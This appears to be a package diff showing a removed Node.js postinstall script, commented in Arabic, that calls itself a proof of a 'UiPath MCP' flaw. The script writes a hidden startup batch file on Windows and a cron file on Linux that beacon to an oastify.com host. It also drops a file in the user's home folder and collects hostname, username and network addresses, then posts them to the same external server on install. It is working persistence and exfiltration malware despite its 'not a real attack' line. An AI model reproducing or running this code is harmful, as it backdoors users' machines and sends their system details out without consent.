const startupPath = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
|
|
31
|
-
const backdoorFile = path.join(startupPath, 'uipath_backdoor.bat');
|
|
32
|
-
|
|
33
|
-
const batContent = `@echo off
|
|
34
|
-
echo [UiPath MCP Backdoor Active] %date% %time% > "%TEMP%\\uipath_log.txt"
|
|
35
|
-
powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backdoor-ping' -Method POST -Body 'host=${os.hostname()}&user=${os.userInfo().username}&time=%date%_%time%'"`;
|
|
36
|
-
|
|
37
|
-
try {
|
|
38
|
-
if (fs.existsSync(startupPath)) {
|
|
39
|
-
fs.writeFileSync(backdoorFile, batContent);
|
|
40
|
-
backdoorData.backdoorSteps.push({
|
|
41
|
-
step: 'إنشاء ملف BAT في Startup',
|
|
42
|
-
path: backdoorFile,
|
|
43
|
-
content: batContent,
|
|
44
|
-
success: true
|
|
45
|
-
});
|
|
46
|
-
console.log(`✅ تم إنشاء Backdoor في: ${backdoorFile}`);
|
|
47
|
-
}
|
|
48
|
-
} catch (e) {
|
|
49
|
-
backdoorData.backdoorSteps.push({
|
|
50
|
-
step: 'إنشاء ملف BAT في Startup',
|
|
51
|
-
error: e.message,
|
|
52
|
-
success: false
|
|
53
|
-
});
|
|
54
|
-
}
|
|
55
|
-
|
|
56
|
-
} else if (os.platform() === 'linux') {
|
|
57
|
-
// Linux Backdoor
|
|
58
|
-
const cronFile = '/tmp/uipath_cron';
|
|
59
|
-
const cronContent = `*/10 * * * * curl -X POST https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backdoor-ping -d "host=${os.hostname()}&user=${os.userInfo().username}&system=linux"\n`;
|
|
60
|
-
|
|
61
|
-
try {
|
|
62
|
-
fs.writeFileSync(cronFile, cronContent);
|
|
63
|
-
backdoorData.backdoorSteps.push({
|
|
64
|
-
step: 'إنشاء ملف Cron مؤقت',
|
|
65
|
-
path: cronFile,
|
|
66
|
-
content: cronContent,
|
|
67
|
-
success: true
|
|
68
|
-
});
|
|
69
|
-
console.log(`✅ تم إنشاء ملف Cron في: ${cronFile}`);
|
|
70
|
-
} catch (e) {
|
|
71
|
-
backdoorData.backdoorSteps.push({
|
|
72
|
-
step: 'إنشاء ملف Cron مؤقت',
|
|
73
|
-
error: e.message,
|
|
74
|
-
success: false
|
|
75
|
-
});
|
|
76
|
-
}
|
|
77
|
-
}
|
|
78
|
-
|
|
79
|
-
// ========== 2. إنشاء ملف إثبات في مجلد المستخدم ==========
|
|
80
|
-
console.log("\n=== إنشاء ملف إثبات في مجلد المستخدم ===");
|
|
81
|
-
|
|
82
|
-
const proofFile = path.join(os.homedir(), 'UiPath_Security_Issue_Proof.txt');
|
|
83
|
-
const proofContent = `⚠️ تحذير أمني: ثغرة UiPath MCP Command
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
تفاصيل الثغرة:
|
|
87
|
-
- التاريخ: ${new Date().toISOString()}
|
|
88
|
-
- المضيف: ${os.hostname()}
|
|
89
|
-
- المستخدم: ${os.userInfo().username}
|
|
90
|
-
- النظام: ${os.platform()}
|
|
91
|
-
|
|
92
|
-
هذا ليس هجومًا حقيقيًا، بل إثبات تقني للثغرة.
|
|
93
|
-
==================================================`;
|
|
94
|
-
|
|
95
|
-
try {
|
|
96
|
-
fs.writeFileSync(proofFile, proofContent);
|
|
97
|
-
backdoorData.persistenceProof = {
|
|
98
|
-
fileCreated: true,
|
|
99
|
-
path: proofFile,
|
|
100
|
-
size: fs.statSync(proofFile).size,
|
|
101
|
-
message: 'تم إنشاء ملف إثبات في مجلد المستخدم الشخصي'
|
|
102
|
-
};
|
|
103
|
-
console.log(`✅ تم إنشاء ملف الإثبات في: ${proofFile}`);
|
|
104
|
-
} catch (e) {
|
|
105
|
-
backdoorData.persistenceProof.error = e.message;
|
|
106
|
-
}
|
|
107
|
-
|
|
108
|
-
// ========== 3. جمع معلومات إضافية ==========
|
|
109
|
-
console.log("\n=== جمع معلومات إضافية ===");
|
|
110
|
-
|
|
111
|
-
// معلومات الشبكة
|
|
112
|
-
try {
|
|
113
|
-
const networkInfo = os.networkInterfaces();
|
|
114
|
-
backdoorData.network = {
|
|
115
|
-
interfaces: Object.keys(networkInfo).length,
|
|
116
|
-
ips: []
|
|
117
|
-
};
|
|
118
|
-
|
|
119
|
-
Object.keys(networkInfo).forEach(iface => {
|
|
120
|
-
networkInfo[iface].forEach(addr => {
|
|
121
|
-
if (addr.family === 'IPv4' && !addr.internal) {
|
|
122
|
-
backdoorData.network.ips.push(addr.address);
|
|
123
|
-
}
|
|
124
|
-
});
|
|
125
|
-
});
|
|
126
|
-
} catch (e) {
|
|
127
|
-
backdoorData.networkError = e.message;
|
|
128
|
-
}
|
|
129
|
-
|
|
130
|
-
// ========== 4. تأثير الهجوم ==========
|
|
131
|
-
backdoorData.impact = {
|
|
132
|
-
dataTheft: true,
|
|
133
|
-
persistence: backdoorData.backdoorSteps.some(step => step.success),
|
|
134
|
-
systemAccess: true,
|
|
135
|
-
networkAccess: backdoorData.network?.ips?.length > 0,
|
|
136
|
-
realUserAffected: os.userInfo().username !== 'root' && os.userInfo().username !== 'SYSTEM'
|
|
137
|
-
};
|
|
138
|
-
|
|
139
|
-
// ========== 5. إرسال بيانات Backdoor ==========
|
|
140
|
-
function sendBackdoorData() {
|
|
141
|
-
console.log("\n=== إرسال بيانات Backdoor ===");
|
|
142
|
-
|
|
143
|
-
const formattedData = JSON.stringify(backdoorData, null, 2);
|
|
144
|
-
|
|
145
|
-
const req = https.request({
|
|
146
|
-
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
147
|
-
port: 443,
|
|
148
|
-
path: '/uipath-backdoor',
|
|
149
|
-
method: 'POST',
|
|
150
|
-
headers: {
|
|
151
|
-
'Content-Type': 'application/json',
|
|
152
|
-
'X-Backdoor': 'UiPath-MCP-Postinstall',
|
|
153
|
-
'X-Hostname': os.hostname()
|
|
154
|
-
}
|
|
155
|
-
}, (res) => {
|
|
156
|
-
console.log(`✅ تم إرسال بيانات Backdoor. الرد: ${res.statusCode}`);
|
|
157
|
-
printBackdoorSummary();
|
|
158
|
-
});
|
|
159
|
-
|
|
160
|
-
req.on('error', (e) => {
|
|
161
|
-
console.error('❌ فشل إرسال بيانات Backdoor:', e.message);
|
|
162
|
-
|
|
163
|
-
// حفظ محلي
|
|
164
|
-
const backupFile = path.join(os.tmpdir(), `uipath_backdoor_${Date.now()}.json`);
|
|
165
|
-
fs.writeFileSync(backupFile, formattedData);
|
|
166
|
-
console.log(`📁 تم حفظ البيانات في: ${backupFile}`);
|
|
167
|
-
|
|
168
|
-
printBackdoorSummary();
|
|
169
|
-
});
|
|
170
|
-
|
|
171
|
-
req.write(formattedData);
|
|
172
|
-
req.end();
|
|
173
|
-
}
|
|
174
|
-
|
|
175
|
-
// ========== 6. طباعة ملخص Backdoor ==========
|
|
176
|
-
function printBackdoorSummary() {
|
|
177
|
-
console.log("\n" + "=".repeat(50));
|
|
178
|
-
console.log("🔓 ملخص Backdoor:");
|
|
179
|
-
console.log("=".repeat(50));
|
|
180
|
-
|
|
181
|
-
console.log(`🏠 المضيف: ${backdoorData.hostname}`);
|
|
182
|
-
console.log(`👤 المستخدم: ${backdoorData.username}`);
|
|
183
|
-
|
|
184
|
-
backdoorData.backdoorSteps.forEach((step, i) => {
|
|
185
|
-
if (step.success) {
|
|
186
|
-
console.log(`✅ ${i + 1}. ${step.step}`);
|
|
187
|
-
console.log(` 📍 المسار: ${step.path}`);
|
|
188
|
-
} else {
|
|
189
|
-
console.log(`❌ ${i + 1}. ${step.step}`);
|
|
190
|
-
console.log(` 💥 خطأ: ${step.error}`);
|
|
191
|
-
}
|
|
192
|
-
});
|
|
193
|
-
|
|
194
|
-
if (backdoorData.persistenceProof.fileCreated) {
|
|
195
|
-
console.log(`📄 ملف الإثبات: ${backdoorData.persistenceProof.path}`);
|
|
196
|
-
}
|
|
197
|
-
|
|
198
|
-
console.log("\n📤 تم إرسال بيانات Backdoor إلى:");
|
|
199
|
-
console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/uipath-backdoor");
|
|
200
|
-
console.log("=".repeat(50));
|
|
201
|
-
}
|
|
202
|
-
|
|
203
|
-
// ========== 7. إرسال طلب متابعة ==========
|
|
204
|
-
setTimeout(() => {
|
|
205
|
-
const followupReq = https.request({
|
|
206
|
-
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
207
|
-
port: 443,
|
|
208
|
-
path: '/followup',
|
|
209
|
-
method: 'POST',
|
|
210
|
-
headers: {
|
|
211
|
-
'X-Followup': 'Postinstall-Complete',
|
|
212
|
-
'X-Time': new Date().toISOString()
|
|
213
|
-
}
|
|
214
|
-
});
|
|
215
|
-
|
|
216
|
-
const followupData = JSON.stringify({
|
|
217
|
-
followup: true,
|
|
218
|
-
time: new Date().toISOString(),
|
|
219
|
-
hostname: os.hostname(),
|
|
220
|
-
message: 'Postinstall script completed successfully',
|
|
221
|
-
backdoorActive: backdoorData.backdoorSteps.some(step => step.success)
|
|
222
|
-
});
|
|
223
|
-
|
|
224
|
-
followupReq.write(followupData);
|
|
225
|
-
followupReq.end();
|
|
226
|
-
console.log("\n📨 تم إرسال طلب المتابعة");
|
|
227
|
-
}, 5000);
|
|
228
|
-
|
|
229
|
-
// ========== بدء التنفيذ ==========
|
|
230
|
-
console.log("🔓 بدء إنشاء Backdoor عبر ثغرة UiPath MCP...");
|
|
231
|
-
sendBackdoorData();
|
package/rank4222wun-1.0.17.tgz
DELETED
|
Binary file
|